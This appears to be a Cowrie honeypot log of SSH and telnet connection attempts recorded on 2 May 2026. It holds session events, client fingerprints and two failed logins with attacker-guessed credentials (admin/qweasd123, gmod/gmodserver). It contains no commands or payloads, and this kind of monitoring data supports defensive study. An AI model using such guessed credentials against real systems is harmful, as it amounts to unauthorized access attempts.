{"eventid":"cowrie.session.closed","duration":31.259684801101685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:26.836613Z","src_ip":"23.111.140.22","session":"27b7c8bbc6fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":58196,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ffd74cf7962","protocol":"ssh","message":"New connection: 202.145.0.61:58196 (10.17.0.5:22) [session: 7ffd74cf7962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:27.104820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:27.109659Z","src_ip":"202.145.0.61","session":"7ffd74cf7962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:27.341902Z","src_ip":"202.145.0.61","session":"7ffd74cf7962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53468,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb094b0d7a8a","protocol":"telnet","message":"New connection: 23.111.140.22:53468 (10.17.0.5:23) [session: bb094b0d7a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:27.385474Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd123","message":"login attempt [admin/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:28.304220Z","src_ip":"202.145.0.61","session":"7ffd74cf7962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56786,"dst_ip":"10.17.0.5","dst_port":23,"session":"023a7f459f0f","protocol":"telnet","message":"New connection: 23.111.140.22:56786 (10.17.0.5:23) [session: 023a7f459f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:28.580064Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57090,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d20f76a2b8","protocol":"telnet","message":"New connection: 23.111.140.22:57090 (10.17.0.5:23) [session: f8d20f76a2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:28.686114Z"}
{"eventid":"cowrie.session.closed","duration":2.4133822917938232,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:28.763227Z","src_ip":"187.39.69.227","session":"3d3150347742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4131946563720703,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:28.767259Z","src_ip":"187.39.69.227","session":"91016a95ef4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":53952,"dst_ip":"159.203.135.109","dst_port":23,"session":"d73e7fa94f9a","protocol":"telnet","message":"New connection: 187.39.69.227:53952 (159.203.135.109:23) [session: d73e7fa94f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:29.085571Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:29.537890Z","src_ip":"202.145.0.61","session":"7ffd74cf7962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.50989294052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:29.716114Z","src_ip":"23.111.140.22","session":"aa591f0d43a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33590,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cff18e0eb0","protocol":"telnet","message":"New connection: 23.111.140.22:33590 (10.17.0.5:23) [session: c3cff18e0eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:30.402196Z"}
{"eventid":"cowrie.session.closed","duration":1.6839969158172607,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:30.769472Z","src_ip":"187.39.69.227","session":"d73e7fa94f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343185663223267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:31.516929Z","src_ip":"23.111.140.22","session":"5763c7a02553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96647882461548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:32.062899Z","src_ip":"23.111.140.22","session":"216c7acff3e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391149520874023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:32.717339Z","src_ip":"23.111.140.22","session":"16f773309fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":55936,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5c5efe0d91","protocol":"telnet","message":"New connection: 187.39.69.227:55936 (159.203.135.109:23) [session: bf5c5efe0d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:34.458480Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":55930,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cdea6d3fe5b","protocol":"telnet","message":"New connection: 187.39.69.227:55930 (159.203.135.109:23) [session: 9cdea6d3fe5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:34.463784Z"}
{"eventid":"cowrie.session.closed","duration":120.003244638443,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:35.848560Z","src_ip":"23.111.140.22","session":"99049e41cdd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.318913221359253,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:36.777287Z","src_ip":"187.39.69.227","session":"bf5c5efe0d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3177695274353027,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:36.781453Z","src_ip":"187.39.69.227","session":"9cdea6d3fe5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52170,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c8477fcac9","protocol":"telnet","message":"New connection: 23.111.140.22:52170 (10.17.0.5:23) [session: 18c8477fcac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:36.815949Z"}
{"eventid":"cowrie.session.closed","duration":30.49553084373474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:37.354482Z","src_ip":"23.111.140.22","session":"5c9ad678c5ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54272,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ec04a61d29c","protocol":"telnet","message":"New connection: 23.111.140.22:54272 (10.17.0.5:23) [session: 5ec04a61d29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:37.661463Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95e5505747d","protocol":"telnet","message":"New connection: 23.111.140.22:56942 (10.17.0.5:23) [session: f95e5505747d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:38.664635Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57914,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd4c45ee24b","protocol":"telnet","message":"New connection: 23.111.140.22:57914 (10.17.0.5:23) [session: fcd4c45ee24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:40.002425Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":57898,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bc717de254c","protocol":"telnet","message":"New connection: 187.39.69.227:57898 (159.203.135.109:23) [session: 1bc717de254c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:40.098757Z"}
{"eventid":"cowrie.session.closed","duration":31.554019451141357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.110889Z","src_ip":"23.111.140.22","session":"b78a3a6ea50e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.610504150390625,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.709136Z","src_ip":"187.39.69.227","session":"1bc717de254c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":59686,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f9d9173a41","protocol":"ssh","message":"New connection: 135.235.138.43:59686 (10.17.0.5:22) [session: 25f9d9173a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.752069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.757462Z","src_ip":"135.235.138.43","session":"25f9d9173a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37914,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc115fbee72","protocol":"telnet","message":"New connection: 23.111.140.22:37914 (10.17.0.5:23) [session: 7bc115fbee72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.841260Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40930,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3a8768cca00","protocol":"telnet","message":"New connection: 23.111.140.22:40930 (10.17.0.5:23) [session: a3a8768cca00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.856422Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:42.939968Z","src_ip":"135.235.138.43","session":"25f9d9173a41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmodserver","message":"login attempt [gmod/gmodserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:43.701246Z","src_ip":"135.235.138.43","session":"25f9d9173a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38770,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2be93909f9","protocol":"telnet","message":"New connection: 23.111.140.22:38770 (10.17.0.5:23) [session: be2be93909f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:44.369771Z"}
{"eventid":"cowrie.session.closed","duration":0.005399942398071289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:44.375052Z","src_ip":"23.111.140.22","session":"be2be93909f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50316,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6479bad9990","protocol":"telnet","message":"New connection: 174.138.46.234:50316 (159.203.135.109:23) [session: d6479bad9990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:44.631604Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50346,"dst_ip":"159.203.135.109","dst_port":23,"session":"779ebb930a1a","protocol":"telnet","message":"New connection: 174.138.46.234:50346 (159.203.135.109:23) [session: 779ebb930a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:44.740704Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:44.889185Z","src_ip":"135.235.138.43","session":"25f9d9173a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":59160,"dst_ip":"159.203.135.109","dst_port":23,"session":"25ebe7b958d7","protocol":"telnet","message":"New connection: 187.39.69.227:59160 (159.203.135.109:23) [session: 25ebe7b958d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:45.300263Z"}
{"eventid":"cowrie.session.closed","duration":30.606958389282227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:46.234697Z","src_ip":"23.111.140.22","session":"f078b059f482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.431065320968628,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:46.731140Z","src_ip":"187.39.69.227","session":"25ebe7b958d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664644479751587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:47.050280Z","src_ip":"23.111.140.22","session":"c459b559a713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":59774,"dst_ip":"159.203.135.109","dst_port":23,"session":"7649ea1cd4f5","protocol":"telnet","message":"New connection: 187.39.69.227:59774 (159.203.135.109:23) [session: 7649ea1cd4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:47.574159Z"}
{"eventid":"cowrie.session.closed","duration":1.1128458976745605,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:48.686862Z","src_ip":"187.39.69.227","session":"7649ea1cd4f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58210,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2b984c4375","protocol":"telnet","message":"New connection: 23.111.140.22:58210 (10.17.0.5:23) [session: 2a2b984c4375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:49.653167Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":60558,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c97b43fa015","protocol":"telnet","message":"New connection: 187.39.69.227:60558 (159.203.135.109:23) [session: 5c97b43fa015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:49.675221Z"}
{"eventid":"cowrie.session.closed","duration":5.632226943969727,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:50.372810Z","src_ip":"174.138.46.234","session":"779ebb930a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.475505113601685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:50.516086Z","src_ip":"23.111.140.22","session":"7280d90d6151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0481157302856445,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:50.723178Z","src_ip":"187.39.69.227","session":"5c97b43fa015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":32990,"dst_ip":"159.203.135.109","dst_port":23,"session":"5443f7f0412b","protocol":"telnet","message":"New connection: 187.39.69.227:32990 (159.203.135.109:23) [session: 5443f7f0412b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:50.955400Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38054,"dst_ip":"10.17.0.5","dst_port":23,"session":"c164cea7365a","protocol":"telnet","message":"New connection: 23.111.140.22:38054 (10.17.0.5:23) [session: c164cea7365a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:51.560287Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.39.69.227","src_port":33356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2be0eee4d6cc","protocol":"telnet","message":"New connection: 187.39.69.227:33356 (159.203.135.109:23) [session: 2be0eee4d6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:52.064241Z"}
{"eventid":"cowrie.session.closed","duration":7.555771112442017,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:52.187081Z","src_ip":"174.138.46.234","session":"d6479bad9990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.756852149963379,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:53.712114Z","src_ip":"187.39.69.227","session":"5443f7f0412b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43798,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5f4d44697c","protocol":"telnet","message":"New connection: 23.111.140.22:43798 (10.17.0.5:23) [session: 7e5f4d44697c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:54.562134Z"}
{"eventid":"cowrie.session.closed","duration":2.7054038047790527,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:54.769511Z","src_ip":"187.39.69.227","session":"2be0eee4d6cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036282777786255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:55.387620Z","src_ip":"23.111.140.22","session":"6216fd8fdaa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50346,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a49713ddf7","protocol":"telnet","message":"New connection: 23.111.140.22:50346 (10.17.0.5:23) [session: 88a49713ddf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:55.640029Z"}
{"eventid":"cowrie.session.closed","duration":31.14242672920227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:55.869496Z","src_ip":"23.111.140.22","session":"629f71275de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980363130569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:31:59.666376Z","src_ip":"23.111.140.22","session":"f8d20f76a2b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92959237098694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:00.314951Z","src_ip":"23.111.140.22","session":"bb094b0d7a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0c0ac74160","protocol":"telnet","message":"New connection: 23.111.140.22:58476 (10.17.0.5:23) [session: ee0c0ac74160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:00.979593Z"}
{"eventid":"cowrie.session.closed","duration":0.005471706390380859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:00.984748Z","src_ip":"23.111.140.22","session":"ee0c0ac74160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54252,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d63416133b","protocol":"telnet","message":"New connection: 174.138.46.234:54252 (159.203.135.109:23) [session: 19d63416133b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:01.049884Z"}
{"eventid":"cowrie.session.closed","duration":30.798208236694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:01.200289Z","src_ip":"23.111.140.22","session":"c3cff18e0eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54378,"dst_ip":"159.203.135.109","dst_port":23,"session":"bca7978cd122","protocol":"telnet","message":"New connection: 174.138.46.234:54378 (159.203.135.109:23) [session: bca7978cd122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:01.496306Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34042,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e22d3924bb","protocol":"telnet","message":"New connection: 23.111.140.22:34042 (10.17.0.5:23) [session: 18e22d3924bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:02.514423Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43528,"dst_ip":"10.17.0.5","dst_port":23,"session":"356d32ffb483","protocol":"telnet","message":"New connection: 23.111.140.22:43528 (10.17.0.5:23) [session: 356d32ffb483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:03.658467Z"}
